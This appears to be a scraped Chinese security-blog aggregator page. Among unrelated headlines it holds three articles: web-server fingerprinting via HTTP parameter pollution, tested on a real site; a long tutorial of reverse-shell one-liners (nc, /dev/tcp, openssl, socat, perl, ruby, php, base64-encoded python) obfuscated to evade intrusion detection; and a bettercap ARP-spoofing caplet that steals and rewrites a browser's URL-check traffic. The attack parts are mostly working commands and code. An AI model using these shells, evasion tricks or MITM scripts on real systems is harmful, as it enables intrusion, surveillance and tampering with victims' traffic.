Aggregator
Adopt Insertion Point Security for a Microservices World
基于HPP参数污染的Web服务器指纹识别技术
Web Application Server BackendParsing ResultExample ASP.NET / IISAll occurrences concatenated with a commacolor=red,blue ASP / IISAll occurrences concatenated with a commacolor=red,blue PHP / ApacheLast occurrence onlycolor=blue PHP / ZeusLast occurrence onlycolor=blue JSP, Servlet / Apache TomcatFirst occurrence onlycolor=red JSP, Servlet / Oracle Application Server 10gFirst occurrence onlycolor=red JSP, Servlet / JettyFirst occurrence onlycolor=red IBM Lotus DominoLast occurrence onlycolor=blue IBM HTTP ServerFirst occurrence onlycolor=red mod_perl, libapreq2 / ApacheFirst occurrence onlycolor=red Perl CGI / ApacheFirst occurrence onlycolor=red mod_wsgi (Python) / ApacheFirst occurrence onlycolor=red Python / ZopeAll occurrences in List data typecolor=['red','blue']
(来源:https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004))
0x02对于常见情形的的识别 上表的类型太全面了,我们一般只需要覆盖几个常用的就可以了,因此整理出如下粗略的判断方式
不过这个判断较为粗糙,而且还有种种因素造成的误差导致想要实现一个完美的判断工具的工作量远大于手动判断,在实际操作的时候建议手动判断 0x03手动判断 手动判断则更为灵活,现拿██带学的██研究院官网开刀 发现存在搜索功能,从搜索功能处下手,因为服务器一般会打出搜索字符串,如下图我搜索了nmsl发现结果被打出来了
接着再参数污染一个1234
发现都被服务器接收了,类似于iis的情形,但是按理来说用来分割的逗号没有了(经过测试可知逗号被过滤了) 接着进行最后一项测试,在keyword参数前面加一个&符号
0x04工具实现 本人实现了一个很粗糙的工具,代码过于丑陋不予开源,看个图吧 结果返回正常,排除ASP,识别结果ASP.NET
Building Web Check using PaaS
Text-To-Speech speaks pwned
对基础 shell 进行流量混淆
- 0x00 前言
- 0x01 常见的反弹shell
- 0x02 SSL加密的反弹shell
- 0x03 Base64/Base32/Hex 编码的反弹shell
- 0x04 编码命令
- 0x05 使用非原生命令或程序
- 0x06 总结
- 0x07 附录
最近在渗透公司内网,通过exp实现执行命令,这时都会想拿到一个反弹shell再说。但问题是,面对公司内部各种IDS、IPS,甚至还有HIDS等等,轻举妄动很容易直接打出GG,而且这个时候跑大马是不太现实的,内网环境比较弱。 于是如何在流量层面上,不触发报警然后弹回一个反弹shell,就是本文产生的原因。
下文将介绍一些常见的反弹流量编码/加密的方法,并介绍一下自己写的脚本。
0x01 常见的反弹shell在真正开始吃正餐之前,让我们来点开胃菜,帮大家回忆一下正常的反弹 shell 一般是怎么操作的:
Server 端监听8080端口:
nc -lvp 23333 Client 端反弹shell的方式比较多,网上介绍资料也琳琅满目,这里随便挑一两个例子看看就好:
nc -e /bin/bash x.x.x.x 23333 bash -i >& /dev/tcp/x.x.x.x/23333 0>&1 0<&137-;exec 137<>/dev/tcp/x.x.x.x/23333;sh <&137 >&137 2>&137 mknod backpipe p && telnet x.x.x.x 8080 0< backpipe | /bin/bash 1> backpipe还有其他起码十几种方法,如perl,python,php等等,不一而足。
0x02 SSL加密的反弹shellOpenSSL 在常见的Linux系统中普遍存在,我们可以直接用来启动服务端,不依赖其他的脚本。
Server 端使用 openssl 命令,先生成证书,然后使用命令监听端口。
# Generate cert openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes # openssl openssl s_server -quiet -key key.pem -cert cert.pem -port 4444使用ncat 命令(ncat 和nc不同,ncat是nmap出的一个nc的增强版,一般需要单独安装。)
ncat -lvnp 4444 --ssl --ssl-cert=cert.pem --ssl-key=key.pem使用socat命令,需要先生成证书,然后监听
# socat generate cert openssl req -new -x509 -keyout test.key -out test.crt -nodes cat test.key test.crt > test.pem # socat socat openssl-listen:4444,reuseaddr,cert=test.pem,verify=0,fork stdio也可以使用 dark-shell1来完成该功能,该脚本的好处是不用生成证书。
ruby dark_shell.rb listen 127.0.0.1 4444 ssl如图:
另外,服务端也可以使用metasploit启动,如下
msf5 exploit(multi/handler) > use exploit/multi/handler msf5 exploit(multi/handler) > set payload cmd/unix/reverse_perl_ssl payload => cmd/unix/reverse_perl_ssl msf5 exploit(multi/handler) > set verbose true verbose => true msf5 exploit(multi/handler) > set lhost 127.0.0.1 lhost => 127.0.0.1 msf5 exploit(multi/handler) > set lport 2332 lport => 2332 msf5 exploit(multi/handler) > set exitonsession false msf5 exploit(multi/handler) > exploit -jreverse_perl_ssl,reverse_python_ssl, reverse_ruby_ssl 等 监听的 payload 其实完全一样,这里是可以混用的。
Client 端还是可以使用 openssl 命令:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 172.16.1.174:1337 > /tmp/s; rm /tmp/sncat 也可以,但较少遇到
ncat --ssl 127.0.0.1 4444 -e /bin/bashsocat,第一行是比较常见和简单的形式,第二行是交互型的shell
socat exec:'bash' openssl-connect:127.0.0.1:4444,verify=0 socat exec:'bash -li',pty,stderr,setsid,sigint,sane openssl-connect:127.0.0.1:4444,verify=0Perl
perl -e 'use IO::Socket::SSL;$p=fork;exit,if($p);$c=IO::Socket::SSL->new(PeerAddr=>"127.0.0.1:2332",SSL_verify_mode=>0);while(sysread($c,$i,8192)){syswrite($c,`$i`);}'Ruby
ruby -rsocket -ropenssl -e 'c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new("127.0.0.1","1234")).connect;while(cmd=c.gets);puts(cmd);IO.popen(cmd.to_s,"r"){|io|c.print io.read}end'PHP
php -r '$ctxt=stream_context_create(["ssl"=>["verify_peer"=>false,"verify_peer_name"=>false]]);while($s=@stream_socket_client("ssl://127.0.0.1:4444",$erno,$erstr,30,STREAM_CLIENT_CONNECT,$ctxt)){while($l=fgets($s)){exec($l,$o);$o=implode("\n",$o);$o.="\n";fputs($s,$o);}}'&Python(需要自己解码修改然后重新编码)
python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHNzbApzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzEyNy4wLjAuMScsNDQ0NCkpCnM9c3NsLndyYXBfc29ja2V0KHNvKQp5bj1GYWxzZQp3aGlsZSBub3QgeW46CglkYXRhPXMucmVjdigxMDI0KQoJaWYgbGVuKGRhdGEpPT0wOgoJCXluID0gVHJ1ZQoJcHJvYz1zdWJwcm9jZXNzLlBvcGVuKGRhdGEsc2hlbGw9VHJ1ZSxzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUsc3RkaW49c3VicHJvY2Vzcy5QSVBFKQoJc3Rkb3V0X3ZhbHVlPXByb2Muc3Rkb3V0LnJlYWQoKSArIHByb2Muc3RkZXJyLnJlYWQoKQoJcy5zZW5kKHN0ZG91dF92YWx1ZSkK'.decode('base64'))" >/dev/null 2>&1使用 dark-shell 生成命令,会自动化输出客户端连接命令,包含各种各样的 payload
$ ruby dark_shell.rb gen 127.0.0.1 4444 ssl ____ _ ____ _ _ _ | _ \ __ _ _ __| | __ / ___|| |__ ___| | | | | | |/ _` | '__| |/ / \___ \| '_ \ / _ \ | | | |_| | (_| | | | < ___) | | | | __/ | | |____/ \__,_|_| |_|\_\ |____/|_| |_|\___|_|_| See more: https://github.com/Green-m/dark-shell SSL payload to connect 127.0.0.1:4444 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 127.0.0.1:4444 > /tmp/s; rm /tmp/s ncat --ssl 127.0.0.1 4444 -e /bin/bash socat exec:'bash' openssl-connect:127.0.0.1:4444,verify=0 perl -e 'use IO::Socket::SSL;$p=fork;exit,if($p);$c=IO::Socket::SSL->new(PeerAddr=>"127.0.0.1:4444",SSL_verify_mode=>0);while(sysread($c,$i,8192)){syswrite($c,`$i`);}' ruby -rsocket -ropenssl -e 'c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new("127.0.0.1","4444")).connect;while(cmd=c.gets);puts(cmd);IO.popen(cmd.to_s,"r"){|io|c.print io.read}end' php -r '$ctxt=stream_context_create(["ssl"=>["verify_peer"=>false,"verify_peer_name"=>false]]);while($s=@stream_socket_client("ssl://127.0.0.1:4444",$erno,$erstr,30,STREAM_CLIENT_CONNECT,$ctxt)){while($l=fgets($s)){exec($l,$o);$o=implode("\n",$o);$o.="\n";fputs($s,$o);}}'& python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHNzbApzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzEyNy4wLjAuMScsNDQ0NCkpCnM9c3NsLndyYXBfc29ja2V0KHNvKQp5bj1GYWxzZQp3aGlsZSBub3QgeW46CiAgICBkYXRhPXMucmVjdigxMDI0KQogICAgaWYgbGVuKGRhdGEpPT0wOgogICAgICAgIHluID0gVHJ1ZQogICAgcHJvYz1zdWJwcm9jZXNzLlBvcGVuKGRhdGEsc2hlbGw9VHJ1ZSxzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUsc3RkaW49c3VicHJvY2Vzcy5QSVBFKQogICAgc3Rkb3V0X3ZhbHVlPXByb2Muc3Rkb3V0LnJlYWQoKSArIHByb2Muc3RkZXJyLnJlYWQoKQogICAgcy5zZW5kKHN0ZG91dF92YWx1ZSkK'.decode('base64'))" >/dev/null 2>&1注意:
服务端的命令和客户端的命令不一定需要相同,是可以混用的。比如用 ncat 的服务端,可以使用perl/python/socat 等方式链接,甚至 metasploit 的 reverse_perl_ssl 作为服务端监听的端口,也可以使用 ncat -ssl 进行连接,底层的原理都是一样的。
0x03 Base64/Base32/Hex 编码的反弹shell为什么会选择这三种方式来编码流量呢,因为大部分的系统里面都自带这几个命令,这也符合本文的出发点。
Base64 / Base32 / Hex 三者的命令和原理都很类似,因此就放一起来讲。
由于nc / bash / telnet 等命令基本都不支持对流量进行编码,因此需要我们对流量进行单独处理。
Server 端服务端使用原生自带的命令来监听比较麻烦,命令比较长,也容易出问题。因此我这里就直接采用 dark-shell 的方式来进行。
使用 dark-shell
ruby dark_shell.rb listen 0.0.0.0 4444 base64 ruby dark_shell.rb listen 0.0.0.0 4444 base32 ruby dark_shell.rb listen 0.0.0.0 4444 hex Client 端通过三个命令来实现(如果有更好的欢迎在评论中补充):
exec
# base64 0<&137-;exec 137<>/dev/tcp/127.0.0.1/4444;cat <&137 |while read ff; do echo $ff|base64 -d|sh |base64 >&137 2>&137;done # base32 0<&137-;exec 137<>/dev/tcp/127.0.0.1/4444;cat <&137 |while read ff; do echo $ff|base32 -d|sh |base32 >&137 2>&137;done # hex 0<&137-;exec 137<>/dev/tcp/127.0.0.1/4444;cat <&137 |while read ff; do echo $ff|xxd -r -p|sh |xxd -p >&137 2>&137;donenc
# base64 mknod backpipe p;tail -f backpipe |nc 127.0.0.1 4444 | while read ff; do echo $ff|base64 -d|bash|base64 &> backpipe; done # base32 mknod backpipe p;tail -f backpipe |nc 127.0.0.1 4444 | while read ff; do echo $ff|base32 -d|bash|base32 &> backpipe; done # hex mknod backpipe p;tail -f backpipe |nc 127.0.0.1 4444 | while read ff; do echo $ff|xxd -r -p|bash|xxd -p &> backpipe; donetelnet
# base64 tail -f backpipe |telnet 127.0.0.1 4444 | while read ff; do echo $ff|base64 -d|bash|base64 &> backpipe; done # base32 tail -f backpipe |telnet 127.0.0.1 4444 | while read ff; do echo $ff|base32 -d|bash|base32 &> backpipe; done # hex tail -f backpipe |telnet 127.0.0.1 4444 | while read ff; do echo $ff|xxd -r -p|bash|xxd -p &> backpipe; donedark-shell 直接生成,最后的参数为编码的方式。
$ ruby dark_shell.rb gen 127.0.0.1 4444 hex ____ _ ____ _ _ _ | _ \ __ _ _ __| | __ / ___|| |__ ___| | | | | | |/ _` | '__| |/ / \___ \| '_ \ / _ \ | | | |_| | (_| | | | < ___) | | | | __/ | | |____/ \__,_|_| |_|\_\ |____/|_| |_|\___|_|_| See more: https://github.com/Green-m/dark-shell HEX payload to connect 127.0.0.1:4444 0<&137-;exec 137<>/dev/tcp/127.0.0.1/4444;cat <&137 |while read ff; do echo $ff|xxd -r -p|sh |xxd -p >&137 2>&137;done mknod backpipe p;tail -f backpipe |nc 127.0.0.1 4444 | while read ff; do echo $ff|xxd -r -p|sh|xxd -p &> backpipe;done;rm backpipe mknod backpipe p;tail -f backpipe |telnet 127.0.0.1 4444 | while read ff; do echo $ff|xxd -r -p|sh|xxd -r -p &> backpipe;done;rm backpipe 0x04 编码命令由于 hids,nids,waf 等各种安全检测手段的存在,我们的命令可能直接会匹配上某些正则规则(大部分ids还依赖这样比较低级的手法来检测),从而触发报警;另外, 前文中的 hex 和 base64 编码的命令,是多条命令拼接和处理的,存在大量符号和空格,容易被截断和转义。
出于这两种情况的存在,我们可以对命令进行编码,来解决这样的问题。
如本来命令为
whoami可以编码为
/bin/bash -c '{echo,d2hvYW1pCg==}|{base64,-d}|{bash,-i}'或
echo 77686f616d690a|xxd -p -r| bash -i这样就有不容易将我们真正的 payload 截断或者转义了,某些情况下,如果运气比较好也能绕过一些IDS。
在 dark-shell 里我直接实现了这样的功能:
$ ruby dark_shell.rb gencode 172.0.0.1 4444 base64 ____ _ ____ _ _ _ | _ \ __ _ _ __| | __ / ___|| |__ ___| | | | | | |/ _` | '__| |/ / \___ \| '_ \ / _ \ | | | |_| | (_| | | | < ___) | | | | __/ | | |____/ \__,_|_| |_|\_\ |____/|_| |_|\___|_|_| See more: https://github.com/Green-m/dark-shell BASE64 payload to connect 172.0.0.1:4444 --------------------------------------------------------------- 0<&137-;exec 137<>/dev/tcp/172.0.0.1/4444;cat <&137 |while read ff; do echo $ff|base64 -d|sh |base64 >&137 2>&137;done sh -c '{echo,MDwmMTM3LTtleGVjIDEzNzw+L2Rldi90Y3AvMTcyLjAuMC4xLzQ0NDQ7Y2F0IDwmMTM3IHx3aGlsZSByZWFkIGZmOyBkbyBlY2hvICRmZnxiYXNlNjQgLWR8c2ggfGJhc2U2NCA+JjEzNyAyPiYxMzc7ZG9uZQ==}|{base64,-d}|{bash,-i}' sh -c '{echo,303c263133372d3b65786563203133373c3e2f6465762f7463702f3137322e302e302e312f343434343b636174203c26313337207c7768696c6520726561642066663b20646f206563686f202466667c626173653634202d647c7368207c626173653634203e2631333720323e263133373b646f6e65}|{xxd,-p,-r}|{bash,-i}' sh -c '{echo,GA6CMMJTG4WTWZLYMVRSAMJTG46D4L3EMV3C65DDOAXTCNZSFYYC4MBOGEXTINBUGQ5WGYLUEA6CMMJTG4QHY53INFWGKIDSMVQWIIDGMY5SAZDPEBSWG2DPEASGMZT4MJQXGZJWGQQC2ZD4ONUCA7DCMFZWKNRUEA7CMMJTG4QDEPRGGEZTOO3EN5XGK===}|{base32,-d}|{bash,-i}' --------------------------------------------------------------- mknod backpipe p;tail -f backpipe |nc 172.0.0.1 4444 | while read ff; do echo $ff|base64 -d|sh|base64 &> backpipe;done;rm backpipe sh -c '{echo,bWtub2QgYmFja3BpcGUgcDt0YWlsIC1mIGJhY2twaXBlIHxuYyAxNzIuMC4wLjEgNDQ0NCB8IHdoaWxlIHJlYWQgZmY7IGRvIGVjaG8gJGZmfGJhc2U2NCAtZHxzaHxiYXNlNjQgJj4gYmFja3BpcGU7ZG9uZTtybSBiYWNrcGlwZQ==}|{base64,-d}|{bash,-i}' sh -c '{echo,6d6b6e6f64206261636b7069706520703b7461696c202d66206261636b70697065207c6e63203137322e302e302e312034343434207c207768696c6520726561642066663b20646f206563686f202466667c626173653634202d647c73687c62617365363420263e206261636b706970653b646f6e653b726d206261636b70697065}|{xxd,-p,-r}|{bash,-i}' sh -c '{echo,NVVW433EEBRGCY3LOBUXAZJAOA5XIYLJNQQC2ZRAMJQWG23QNFYGKID4NZRSAMJXGIXDALRQFYYSANBUGQ2CA7BAO5UGS3DFEBZGKYLEEBTGMOZAMRXSAZLDNBXSAJDGMZ6GEYLTMU3DIIBNMR6HG2D4MJQXGZJWGQQCMPRAMJQWG23QNFYGKO3EN5XGKO3SNUQGEYLDNNYGS4DF}|{base32,-d}|{bash,-i}' --------------------------------------------------------------- mknod backpipe p;tail -f backpipe |telnet 172.0.0.1 4444 | while read ff; do echo $ff|base64 -d|sh|base64 -d &> backpipe;done;rm backpipe sh -c '{echo,bWtub2QgYmFja3BpcGUgcDt0YWlsIC1mIGJhY2twaXBlIHx0ZWxuZXQgMTcyLjAuMC4xIDQ0NDQgfCB3aGlsZSByZWFkIGZmOyBkbyBlY2hvICRmZnxiYXNlNjQgLWR8c2h8YmFzZTY0IC1kICY+IGJhY2twaXBlO2RvbmU7cm0gYmFja3BpcGU=}|{base64,-d}|{bash,-i}' sh -c '{echo,6d6b6e6f64206261636b7069706520703b7461696c202d66206261636b70697065207c74656c6e6574203137322e302e302e312034343434207c207768696c6520726561642066663b20646f206563686f202466667c626173653634202d647c73687c626173653634202d6420263e206261636b706970653b646f6e653b726d206261636b70697065}|{xxd,-p,-r}|{bash,-i}' sh -c '{echo,NVVW433EEBRGCY3LOBUXAZJAOA5XIYLJNQQC2ZRAMJQWG23QNFYGKID4ORSWY3TFOQQDCNZSFYYC4MBOGEQDINBUGQQHYIDXNBUWYZJAOJSWCZBAMZTDWIDEN4QGKY3IN4QCIZTGPRRGC43FGY2CALLEPRZWQ7DCMFZWKNRUEAWWIIBGHYQGEYLDNNYGS4DFHNSG63TFHNZG2IDCMFRWW4DJOBSQ====}|{base32,-d}|{bash,-i}'通过- - - 符号来分隔,每段的第一条表示编码前的命令,后面三条命令是不同的编码形式: base64, hex, base32。
这样生成还算比较方便, 你也可以根据自己的需求进行其他变换。
0x05 使用非原生命令或程序本文的重点是尽量考虑使用原生命令来实现流量编码,一般是受限制的环境或者是最开始的渗透阶段,没有足够的条件去上传或者下载大马。
不过这里也简单提一下非原生的程序或者木马来实现该功能。
MeterpreterMSF 中的 meterpreter 最常用的 reverse_tcp 就是进行过编码的,根据自己的流量进行协商,追求更好的效果可以考虑使用 reverse_tcp_rc4 或 reverse_https
SBD使用类似nc,加密传输的工具
# server sbd 127.0.0.1 4444 -e /bin/bash # client sbd -lvp 4444 其他各种开源/商业的远控和木马PoisonIvy 、cobaltstrike、灰鸽子等,不具体展开了,非常多。
0x06 总结自从换了工作之后又很久没写博客了,正好最近研究了一些新的东西,分享出来,希望对大家有所帮助。
最后祝大家身体健康!
0x07 附录-
dark-shell 是笔者写的一个脚本,用来自动化本文的一些操作,见 https://github.com/Green-m/dark-shell ↩
Phishing Detection via Analytic Networks
Android odex,oat文件的反编译,回编译 - luoyesiqiu
Application Protection Research Series—Summary 2nd Edition
My First Job?Being Inspired and Having an Impact
【白帽极客节】感谢你用白帽子的方式参与公益
【第16周】Weblogic t3反序列化漏洞(CVE-2019-2890)分析
Kibana RCE漏洞详细分析教程
Mac OS备份迁移iBooks图书操作方法 - r00tgrok
聊聊区块链安全攻防实践
OGeek 线下 Java Web And XCTF Final babytaint Writeup
因为最近课程非常非常多, 还顺带考试 + 实验报告, 咕咕咕掉了许多比赛, 真正去的也只有 OGeek, 其他都是云比赛.
拿做出来的题目里面选两题写个 Writeup 吧, 不然太久没更新了 (逃
Apache solr Velocity模版远程命令执行漏洞分析
从PGone捅了捅D**Y**后台审核这事开说
Vulnerabilities, Exploits, and Malware Driving Attack Campaigns in September 2019
【自我转载】利用Bettercap对某国产浏览器中间人漏洞执行攻击
本文已投稿给freebuf并被发表,转载请联系freebuf官方
----------------------------------------------------------------------
本文首发于Freebuf 国产浏览器往往基于Chrome浏览器开发,在带来新功能的情况下也带来了新的安全威胁。 本文将披露某国产浏览器的中间人信息泄漏漏洞以及科普bettercap攻击脚本的编写方法。 漏洞发现 笔者本想按着先辈们的文章测试下国产浏览器的特权域漏洞,但是在测试过程中意外发现了某国产浏览器的一个中间人信息泄漏漏洞。 如图,每当该浏览器访问某URL的时候,都会向该浏览器官方的某个系统请求一个urlcheck来检查该URL是否安全,其中请求的url参数就是base64后的url。 我们暂且相信该浏览器官方是善意的不会保存我们的urlcheck记录,但这种HTTP明文请求仍然会使其易于遭受中间人攻击,导致即使有SSL保护的情形下URL仍然会被泄漏的问题,同时攻击者也可以据此伪造可信网站进行钓鱼攻击。 关于中间人攻击,由于笔者相信FreeBuf读者均具有相关的知识且其原理细节并非本文重点,在此不予详细叙述。简而言之,该攻击能使攻击者轻易的截取及替换明文传输的内容,可能导致信息泄漏,信息被篡改,甚至系统被拿下。 漏洞利用之bettercap配合Burpsuite手动攻击 显而易见,攻击者可以通过截取请求包并替换来进行漏洞利用。 在这里漏洞的演示攻击中,我们采用bettercap攻击进行演示。 bettercap介绍 bettercap早在几年前就被发布出来,是各类无线攻击的瑞士军(和谐)刀,具有取代ettercap的野心。 在原有的1.0版本中可以通过命令行参数来进行许多中间人攻击,而在2.0之后的版本该工具借鉴了MSF的模块化思想,主要通过交互式终端执行进行攻击。 目前bettercap还提供一个漂亮的UI供攻击者简化攻击过程,不过本文并不会涉及该UI的使用。 比起老牌的ettercap,该工具具有如下优点 1,更加稳定,不像ettercap容易崩溃 2,易于拓展,可以用其支持的cap脚本和js代码拓展 3,易于操作,具有更加简单的命令进行arp欺骗 在编写脚本自动化攻击之前,我们可以先使用Burpsuite配合bettercap测试中间人攻击。 Burpsuite攻击配置 大名鼎鼎的Burpsuite已被大家熟知,但许多人只知道用它来抓包测试web层的漏洞,不知道它也能用来进行中间人攻击 在进行中间人攻击测试之前,我们对Burpsuite进行一些简单的配置。 首先我们需要去Burpsuite的proxy处,选中options,对我们的代理选择edit, 在Binding处选择All interfaces。因为burpsuite默认只允许本地IP访问,而我们需要局域网内的机器来访问 。 接着再在request handling处选择support invisible proxying来打开透明代理。 之所以我们要这么做是因为在代理的时候我们无法解密SSL流量,应该让Burpsuite直接放行加密流量而不是做中间人替换证书。 Bettercap攻击 使用bettercap攻击远比ettercap简单,我们只需要两个命令就可以了。 any.proxy on arp.spoof on any.proxy是bettercap自带的一个模块,它能够将流量进行重定向使得被攻击的机器的流量到达我们指定的代理。 使用any.proxy on 其用该模块,其中any.proxy的端口默认就是本机的8080端口,无需配置正好和burp一样。 而arp.spoof是arp攻击模块,直接arp.spoof on就能开启攻击了,默认攻击范围是整个局域网。 攻击效果 如上图所示,我们能够在不在靶机上安装证书的情况下,通过urlcheck的返回结果获取到本来该被SSL保护的URL,读出了bing搜索中的搜索内容(123)。 同时通过手动改包,我们能够修改网站的标识(把Bing改成了Google),显示了这个漏洞也可能被用于辅助社会工程学攻击。 这些结果很棒,但是作为黑客我们是不会满足于手动抓包改包这样只有概念验证性功能的实验的,我们需要将这个漏洞自动化利用。 幸运的是,bettercap对于拓展其功能有着良好的支持。 漏洞利用之bettercap caplets编写 bettercap的攻击脚本编写规则 bettercap允许我们用caplets编写自动化脚本进行攻击。caplets指的是后缀为.cap的脚本,能够直接执行bettercap的交互终端命令而不需要一条一条地手动输入,类似于metasploit的rc脚本。同时如果用它来修改http.proxy这个http流量拦截模块,我们可以轻易指定加载该cap目录下的js脚本而不需要考虑绝对路径。 bettercap提供了如下几个命令来帮助用户管理已有的caplets。 caplets.show#显示已有的caplets. caplets.paths# 显示caplets的搜索路径 caplets.update# 安装或更新caplets. 可以知道bettercap默认的caplets搜索路径有三个。 /usr/local/share/bettercap/caplets /usr/local/share/bettercap/caplets/caplets /usr/share/bettercap/caplets 在默认情况下,自带的caplets被放置在/usr/share/bettercap/caplets/,用户可以创建目录来和其余的模块隔开,bettercap会自动递归这些目录来查找可用的caplets。 在了解了caplets的基本编写规则之后,我们看看如何拓展原有的http嗅探模块来嗅探url。 自定义bettercap的http.proxy模块 bettercap的http.proxy模块提供一个http的透明代理,能够监听并修改流量,并且可以允许用户编写js代码来自定义其行为。它可以和bettercap的arp.spoof模块配合实现中间人攻击。 该模块有着如下参数可以设置 参数 默认设置 描述 http.port 80 需要转发的端口的流量 http.proxy.address <本机地址> 本地代理绑定的地址 http.proxy.port 8080 本地代理的端口 http.proxy.sslstrip false 是否打开sslstrip http.proxy.script 用于操控模块的js 脚本路径 http.proxy.injectjs 注射进受害机的 http.proxy.blacklist 不进行代理的黑名单(用逗号隔开,支持wildchard) http.proxy.whitelist 当黑名单启用的时候需要通过代理的白名单(用逗号隔开)我们将会用到该模块的两个命令 我们这次需要编写的caplets中需要用到如下命令 http.proxy on #启用http.proxy模块 set http.proxy.script path#启用我们自定义的js脚本来自定义http.proxy模块的行为 编写http.proxy是重头戏, 而拓展http.proxy的js脚本格式如下 // 在脚本被加载时执行 function onLoad() { } // 当代理接收到请求并且还没发送到真正的server时调用 function onRequest(req, res) { } // 当请求已经发送到了真实的server并获取返回结果时调用 function onResponse(req, res) { } //当未知命令被调用时执行,这样可以拓展我们自己的命令 function onCommand(cmd) { if( cmd == "test" ) { /* * 自定义会话中命令的逻辑. */ return true } } 在今天的bettercap脚本编写示例中我们将会编写这里的onRequest和onResponse函数。 在onRequest和onResponse函数中的req和res就是传入的请求和返回结果。 关于req和res支持的操作,官方文档并没有提供一个完整详细的列表,但是笔者阅读了许多caplets的源码找出了以下用法 req用法 用法 说明 req.Path url路径 req.GetHeader(“User-Agent”, “”) 获取某请求头 req.Client.IP 客户端IP req.Hostname server的主机名 req.Headers 获取所有请求头 req.Method 请求方式 req.ContentType Content-Type req.Query 获取查询字符串 req.ParseForm(); 获取POST包的字典 req.ReadBody() 获取请求包的body res用法 用法 说明 res.Body 返回包的body,只能修改用于改包而不能读结果 res.ContentType Content-Type res.SetHeader(“Content-Length”, 114514) 设置返回包的头 res.Status 返回包的状态码 res.ReadBody 获取返回包的body(在onResponse时使用) 编写caplets 在知道了如上信息之后我们就可以编写我们的caplets了,首先在/usr/share/bettercap/caplets/目录下建立目录uc-url 创建uc-url.cap文件,编写文件使内容为 set http.proxy.script uc-url.js http.proxy on arp.spoof on 这个脚本的解释:第一行是配置http.proxy.script,即我们即将编写的拓展脚本 接着启用http.proxy模块 最后启用arp.spoof模块,由于没有指定目标,默认对同局域网所有主机执行arp攻击 接着我们在同目录下创建uc-url.js,编写如下内容 var RESET = "\033[0m"; function R(s) { return "\033[31m" + s + RESET; } function G(s) { return "\033[32m" + s + RESET; } function onRequest(req, res) { if( req.Method == "POST" && req.Path == "/urlcheck"&&req.Hostname=='dabai.pc.ucweb.com') { //parse request url from urlcheck request var form = req.ParseForm(); var url=atob(form['url']); log( R(req.Client.IP)+" URL:"+G(url)); } } function onResponse(req, res) { if( req.Method == "POST" && req.Path == "/urlcheck"&&req.Hostname=='dabai.pc.ucweb.com') { var body = res.ReadBody(); j=JSON.parse(body) j['data']['title']='6324直播间'; res.Body=JSON.stringify(j); //log(JSON.stringify(j)); } } 前面的RESET,G,R函数用于处理字符串,使其在终端输出的时候有颜色。 其中onRequest函数中,我们根据请求的方式,url的路径,以及hostname判断了urlcheck包。 如果是urlcheck包,则通过ParseForm函数获取其url参数并且用atob函数base64解码,最后在终端上打印该URL。 在onResponse函数中,我们也如法炮制,获取返回结果并修改。由于笔者的恶趣味,笔者将返回结果的title替换成了6324直播间,这样每当有可信网站的结果返回的时候,这个对可信网站的描述就会被替换成6324直播间。 攻击效果 在一切完成之后,通过如下命令执行攻击 bettercap -caplet uc-url/uc-url 如图,UC浏览器用户在SSL情况下访问freebuf时URL仍然能够被攻击者获取 由于freebuf并没有被标注为可信网站,再来一个网站标识替换后的效果图 结语 尽管已经是2019年,大量的网站系统仍然没有使用SSL加密,中间人攻击仍然有其一席之地。对于安全研究者来讲,掌握相关知识,学习更新更好用的攻击工具的使用方法仍然是必要的。而开发者应该在开发的时候考虑到中间人攻击带来的威胁,部署SSL或者使用别的加密手段来抵御中间人攻击。 *本文原创作者:APU,本文属于FreeBuf原创奖励计划,未经许可禁止转载